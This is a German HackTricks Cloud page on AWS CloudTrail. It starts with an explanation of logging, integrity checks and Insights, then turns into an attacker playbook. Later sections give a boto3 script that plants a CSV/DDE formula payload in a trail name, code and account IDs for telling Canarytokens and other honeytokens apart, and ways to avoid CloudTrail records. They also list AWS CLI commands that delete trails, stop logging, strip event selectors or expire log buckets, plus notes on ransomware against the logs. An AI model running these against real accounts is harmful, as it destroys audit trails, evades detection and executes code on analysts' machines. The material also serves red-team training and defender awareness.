AWS - CloudTrail Enum

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

• Überprüfe die Abonnementpläne!

• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.

• Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.

CloudTrail

AWS CloudTrail zeichnet Aktivitäten in deiner AWS-Umgebung auf und überwacht sie. Es erfasst detaillierte Ereignisprotokolle, einschließlich wer was, wann und von wo getan hat, für alle Interaktionen mit AWS-Ressourcen. Dies bietet eine Prüfspur von Änderungen und Aktionen, die bei der Sicherheitsanalyse, der Compliance-Prüfung und der Verfolgung von Ressourcenänderungen hilft. CloudTrail ist entscheidend für das Verständnis des Verhaltens von Benutzern und Ressourcen, die Verbesserung der Sicherheitslage und die Gewährleistung der Einhaltung von Vorschriften.

Jedes protokollierte Ereignis enthält:

• Den Namen der aufgerufenen API: eventName

• Den aufgerufenen Dienst: eventSource

• Die Zeit: eventTime

• Die IP-Adresse: SourceIPAddress

• Die Agentenmethode: userAgent. Beispiele:

• Signing.amazonaws.com - Vom AWS Management Console

• console.amazonaws.com - Root-Benutzer des Kontos

• lambda.amazonaws.com - AWS Lambda

• Die Anforderungsparameter: requestParameters

• Die Antwortelemente: responseElements

Ereignisse werden ungefähr alle 5 Minuten in einer JSON-Datei in eine neue Protokolldatei geschrieben, sie werden von CloudTrail gehalten und schließlich werden Protokolldateien ungefähr 15 Minuten später an S3 geliefert. CloudTrails-Protokolle können über Konten und Regionen aggregiert werden. CloudTrail ermöglicht die Verwendung von Protokolldateiintegrität, um zu überprüfen, dass deine Protokolldateien seit der Lieferung durch CloudTrail unverändert geblieben sind. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein SHA-256-Hash der neuen Protokolle wird jede Stunde erstellt. Beim Erstellen eines Trails ermöglichen die Ereigniswähler, den Trail anzugeben, der protokolliert werden soll: Management-, Daten- oder Einsichtsevents.

Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird die serverseitige Verschlüsselung (SSE-S3) verwendet, sodass AWS den Inhalt für die Personen entschlüsselt, die Zugriff darauf haben, aber für zusätzliche Sicherheit kannst du SSE mit KMS und deinen eigenen Schlüsseln verwenden.

Die Protokolle werden in einem S3-Bucket mit diesem Namensformat gespeichert:

• BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

• Dabei ist der BucketName: aws-cloudtrail-logs-<accountid>-<random>

• Beispiel: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Innerhalb jedes Ordners hat jede Protokolldatei einen Namen, der diesem Format folgt: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Protokolldatei-Namenskonvention

Darüber hinaus werden Digest-Dateien (zur Überprüfung der Dateiintegrität) im gleichen Bucket gespeichert:

Protokolle von mehreren Konten aggregieren

• Erstelle einen Trail im AWS-Konto, in dem die Protokolldateien geliefert werden sollen

• Wende Berechtigungen auf den Ziel-S3-Bucket an, die den Zugriff über Konten für CloudTrail erlauben, und erlaube jedem AWS-Konto, das Zugriff benötigt

• Erstelle einen neuen Trail in den anderen AWS-Konten und wähle aus, den im Schritt 1 erstellten Bucket zu verwenden

Wenn du jedoch alle Protokolle im selben S3-Bucket speichern kannst, kannst du CloudTrail-Protokolle von mehreren Konten nicht in einem CloudWatch-Logs aggregieren, die zu einem einzelnen AWS-Konto gehören.

Denke daran, dass ein Konto verschiedene Trails von CloudTrail aktiviert haben kann, die dieselben (oder unterschiedliche) Protokolle in verschiedenen Buckets speichern.

CloudTrail von allen Org-Konten in 1

Beim Erstellen eines CloudTrail ist es möglich, anzugeben, dass CloudTrail für alle Konten in der Organisation aktiviert werden soll und die Protokolle in nur 1 Bucket gespeichert werden:

Auf diese Weise kannst du CloudTrail in allen Regionen aller Konten einfach konfigurieren und die Protokolle in 1 Konto zentralisieren (das du schützen solltest).

Überprüfung der Protokolldateien

Du kannst überprüfen, dass die Protokolle nicht verändert wurden, indem du Folgendes ausführst:

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs zu CloudWatch

CloudTrail kann automatisch Protokolle an CloudWatch senden, sodass Sie Warnungen einrichten können, die Sie benachrichtigen, wenn verdächtige Aktivitäten durchgeführt werden. Beachten Sie, dass zur Erlaubnis von CloudTrail, die Protokolle an CloudWatch zu senden, eine Rolle erstellt werden muss, die diese Aktion erlaubt. Wenn möglich, wird empfohlen, die Standardrolle von AWS für diese Aktionen zu verwenden. Diese Rolle ermöglicht es CloudTrail:

• CreateLogStream: Dies ermöglicht das Erstellen von CloudWatch Logs-Protokollstreams

• PutLogEvents: Übermitteln von CloudTrail-Protokollen an den CloudWatch Logs-Protokollstream

Ereignisverlauf

Der CloudTrail-Ereignisverlauf ermöglicht es Ihnen, in einer Tabelle die aufgezeichneten Protokolle zu inspizieren:

Einblicke

CloudTrail Insights analysiert automatisch Schreibmanagementereignisse von CloudTrail-Tracks und benachrichtigt Sie über ungewöhnliche Aktivitäten. Wenn beispielsweise die Anzahl der TerminateInstance-Ereignisse, die von den festgelegten Baselines abweicht, zunimmt, sehen Sie dies als Insight-Ereignis. Diese Ereignisse erleichtern das Finden und Reagieren auf ungewöhnliche API-Aktivitäten mehr denn je.

Die Einblicke werden im selben Bucket wie die CloudTrail-Protokolle gespeichert: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Sicherheit

Integrität der CloudTrail-Protokolldatei	Überprüfen, ob Protokolle manipuliert wurden (modifiziert oder gelöscht) Verwendet Digest-Dateien (erstellt Hash für jede Datei) SHA-256-Hashing SHA-256 mit RSA für digitale Signatur privater Schlüssel im Besitz von Amazon Benötigt 1 Stunde, um eine Digest-Datei zu erstellen (jede Stunde zur vollen Stunde)
Unbefugten Zugriff stoppen	Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien Sicherheitsteam —> Administratorzugriff Prüfer —> Nur-Lesezugriff Verwenden Sie SSE-S3/SSE-KMS, um die Protokolle zu verschlüsseln
Verhindern, dass Protokolldateien gelöscht werden	Zugriffsrechte zum Löschen mit IAM- und Bucket-Richtlinien einschränken S3 MFA-Löschen konfigurieren Mit der Protokolldateivalidierung überprüfen

Zugriffsberater

Der AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS CloudTrail-Protokolle, um seine Einblicke zu gewinnen. CloudTrail erfasst eine Historie der AWS-API-Aufrufe und verwandten Ereignisse, die in einem AWS-Konto durchgeführt wurden. Der Access Advisor nutzt diese Daten, um zu zeigen, wann Dienste zuletzt aufgerufen wurden. Durch die Analyse der CloudTrail-Protokolle kann der Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über die Verfeinerung von Berechtigungen zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und potenziell zu breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.

Daher informiert der Access Advisor über die unnötigen Berechtigungen, die Benutzern erteilt werden, sodass der Administrator sie entfernen kann.

Aktionen

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Es ist möglich, eine CVS-Injektion innerhalb von CloudTrail durchzuführen, die willkürlichen Code ausführt, wenn die Protokolle im CSV-Format exportiert und mit Excel geöffnet werden. Der folgende Code generiert einen Protokolleintrag mit einem schlechten Trail-Namen, der die Payload enthält:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Für weitere Informationen zu CSV-Injektionen siehe die Seite:

Formula InjectionHackTricks

Für weitere Informationen zu dieser spezifischen Technik siehe https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Umgehung der Erkennung

HoneyTokens Umgehung

Honeytokens werden erstellt, um die Exfiltration sensibler Informationen zu erkennen. Im Fall von AWS sind sie AWS-Schlüssel, deren Verwendung überwacht wird. Wenn etwas eine Aktion mit diesem Schlüssel auslöst, dann muss jemand diesen Schlüssel gestohlen haben.

Allerdings verwenden Honeytokens wie die von Canarytokens, SpaceCrab, SpaceSiren entweder erkennbare Kontonamen oder verwenden dieselbe AWS-Konto-ID für alle ihre Kunden. Daher, wenn Sie den Kontonamen und/oder die Konto-ID erhalten können, ohne dass Cloudtrail ein Protokoll erstellt, könnten Sie wissen, ob der Schlüssel ein Honeytoken ist oder nicht.

Pacu hat einige Regeln, um zu erkennen, ob ein Schlüssel zu Canarytokens, SpaceCrab, SpaceSiren** gehört:**

• Wenn canarytokens.org im Rollennamen erscheint oder die Konto-ID 534261010715 in der Fehlermeldung erscheint.

• Bei neueren Tests verwenden sie das Konto 717712589309 und haben immer noch die canarytokens.com-Zeichenfolge im Namen.

• Wenn SpaceCrab im Rollennamen in der Fehlermeldung erscheint.

• SpaceSiren verwendet uuids, um Benutzernamen zu generieren: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

• Wenn der Name zufällig generiert aussieht, gibt es hohe Wahrscheinlichkeiten, dass es sich um ein HoneyToken handelt.

Holen Sie sich die Konto-ID aus der Schlüssel-ID

Sie können die Konto-ID aus dem kodierten Teil des Zugriffsschlüssels erhalten, wie hier erklärt und die Konto-ID mit Ihrer Liste von Honeytokens AWS-Konten überprüfen:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

Protokoll nicht generieren

Die effektivste Technik dafür ist tatsächlich eine einfache. Verwenden Sie einfach den Schlüssel, den Sie gerade gefunden haben, um auf einen Dienst in Ihrem eigenen Angreifer-Konto zuzugreifen. Dies wird CloudTrail dazu bringen, ein Protokoll in IHREM EIGENEN AWS-Konto und nicht im Konto des Opfers zu generieren.

Das Problem ist, dass die Ausgabe Ihnen einen Fehler anzeigen wird, der die Kontonummer und den Kontonamen angibt, sodass Sie sehen können, ob es sich um ein Honeytoken handelt.

AWS-Dienste ohne Protokolle

In der Vergangenheit gab es einige AWS-Dienste, die keine Protokolle an CloudTrail senden (finden Sie eine Liste hier). Einige dieser Dienste werden mit einem Fehler antworten, der die ARN der Schlüsselrolle enthält, wenn jemand Unbefugtes (der Honeytoken-Schlüssel) versucht, darauf zuzugreifen.

Auf diese Weise kann ein Angreifer die ARN des Schlüssels erhalten, ohne ein Protokoll auszulösen. In der ARN kann der Angreifer die AWS-Kontonummer und den Namen sehen, es ist einfach, die Kontonummern und Namen der HoneyToken-Unternehmen zu kennen, sodass ein Angreifer auf diese Weise identifizieren kann, ob das Token ein HoneyToken ist.

Beachten Sie, dass alle öffentlichen APIs, die nicht CloudTrail-Protokolle erstellen, jetzt behoben sind, sodass Sie möglicherweise Ihre eigenen finden müssen...

Für weitere Informationen siehe die original research.

Zugriff auf Dritte Infrastruktur

Bestimmte AWS-Dienste werden einige Infrastrukturen wie Datenbanken oder Kubernetes-Cluster (EKS) erzeugen. Ein Benutzer, der direkt mit diesen Diensten spricht (wie der Kubernetes-API), wird die AWS-API nicht verwenden, sodass CloudTrail diese Kommunikation nicht sehen kann.

Daher könnte ein Benutzer mit Zugriff auf EKS, der die URL der EKS-API entdeckt hat, ein Token lokal generieren und direkt mit dem API-Dienst sprechen, ohne von CloudTrail erkannt zu werden.

Weitere Informationen in:

AWS - EKS Post Exploitation

Ändern der CloudTrail-Konfiguration

Trails löschen

aws cloudtrail delete-trail --name [trail-name]

Stop trails

aws cloudtrail stop-logging --name [trail-name]

Deaktivieren der Multi-Region-Protokollierung

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Protokollierung durch Ereignis-Selektoren deaktivieren

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Im ersten Beispiel wird ein einzelner Ereignis-Selector als JSON-Array mit einem einzelnen Objekt bereitgestellt. Der "ReadWriteType": "ReadOnly" zeigt an, dass der Ereignis-Selector nur schreibgeschützte Ereignisse erfassen sollte (CloudTrail-Insights werden beispielsweise keine Schreibereignisse überprüfen).

Sie können den Ereignis-Selector basierend auf Ihren spezifischen Anforderungen anpassen.

Protokolllöschung über S3-Lebenszyklusrichtlinie

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modifying Bucket Configuration

• Löschen Sie den S3-Bucket

• Ändern Sie die Bucket-Richtlinie, um alle Schreibvorgänge vom CloudTrail-Dienst zu verweigern

• Fügen Sie eine Lebenszyklusrichtlinie zum S3-Bucket hinzu, um Objekte zu löschen

• Deaktivieren Sie den KMS-Schlüssel, der zum Verschlüsseln der CloudTrail-Protokolle verwendet wird

Cloudtrail ransomware

S3 ransomware

Sie könnten einen asymmetrischen Schlüssel generieren und CloudTrail die Daten mit diesem Schlüssel verschlüsseln und den privaten Schlüssel löschen, sodass die Inhalte von CloudTrail nicht wiederhergestellt werden können. Dies ist im Grunde eine S3-KMS-Ransomware, die in:

AWS - S3 Post Exploitation

KMS ransomware

Dies ist der einfachste Weg, den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen:

AWS - KMS Post Exploitation

References

• https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Überprüfen Sie die Abonnementpläne!

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.

• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.